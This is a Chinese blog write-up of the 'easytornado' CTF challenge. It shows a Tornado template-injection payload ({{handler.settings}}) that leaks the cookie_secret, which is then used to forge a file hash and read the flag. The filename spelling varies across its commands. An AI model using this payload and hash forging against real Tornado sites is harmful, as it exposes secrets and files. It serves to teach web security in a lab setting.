

攻防世界 easytornado

原创

听门外雪花飞 于 2022-02-23 11:13:26 发布 1837 收藏

分类专栏: [ctf刷题纪](#) 文章标签: [安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_52268949/article/details/123085687

版权



[ctf刷题纪](#) 专栏收录该内容

40 篇文章 0 订阅

订阅专栏

[easytornado](#)

进入环境就这样子

← → ↻ ▲ 不安全 | 111.200.241.244:61368

[/flag.txt](#)

[/welcome.txt](#)

[/hints.txt](#)

我们逐一访问看看

← → ↻ ▲ 不安全 | 111.200.241.244:61368/file?filename=/flag.txt&fileh

/flag.txt

flag in /fllllllllllag

进入flag.txt提示flag in /fllllllllllag我们访问fllllllllllag看看

← → ↻ ▲ 不安全 | 111.200.241.244:61368/error?msg=Error

Error

报了一个error, 且在浏览器有回显, 莫非是模板注入, 我们试一试, 把error换成456看看浏览器回显

456

确定有模板注入了但是这里没有更多信息我们只能先放一放了

然后我们去访问welcome.txt看看

/welcome.txt
render

第二个是一个render，render是一个Tomado框架的一个渲染函数，即可以通过传递不同的参数形成不同的页面。

还有个hints.txt我们访问

/hints.txt
md5(cookie_secret+md5(filename))

这个式子的意思先把filename给md5加密一遍，然后加上cookie_secret总体再md5加密一遍，filename我们知道是/fllllllllllag,那我们得想办法获得cookie_secret值，这时我们想到我们第二个目录的render函数，那我们可以去Tornado官网看看cookie_secret是在哪个函数里面，通过查阅文档可以构造payload

```
http://111.200.241.244:61368/error?msg={{handler.settings}}
```

```
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'f0f4f9e1-fa5b-439e-b5d4-ab51a3c5e9e5'}
```

```
(root@kali)~# echo -n "3bf9f6cf685a6dd8defadabfb41a03a1f0f4f9e1-fa5b-439e-b5d4-ab51a3c5e9e5" | md5sum
c38ba13bf49e4511e3c05cc6a2bfb74a -

(root@kali)~# echo -n "/fllllllllllllag" | md5sum
3bf9f6cf685a6dd8defadabfb41a03a1 -

(root@kali)~# echo -n "f0f4f9e1-fa5b-439e-b5d4-ab51a3c5e9e53bf9f6cf685a6dd8defadabfb41a03a1" | md5sum
e26bb86507498e9a0a86219f53ab6d1c -
```

然后我们只需要把filename给md5加密然后再加上cookie_secret再MD5加密一次最后构造payload即可拿到flag

```
http://111.200.241.244:61368/file?filename=/f11111111111lag&filehash=e26bb86507498e9a0a86219f53ab6d1c
```

← → ↻ ▲ 不安全 | 111.200.241.244:61368/file?filename=/f11111111111lag&filehash=e26bb86507498e9a0a86219f53ab6d1c

/f111111111lag

flag{3f39aea39db345769397ae895edb9c70}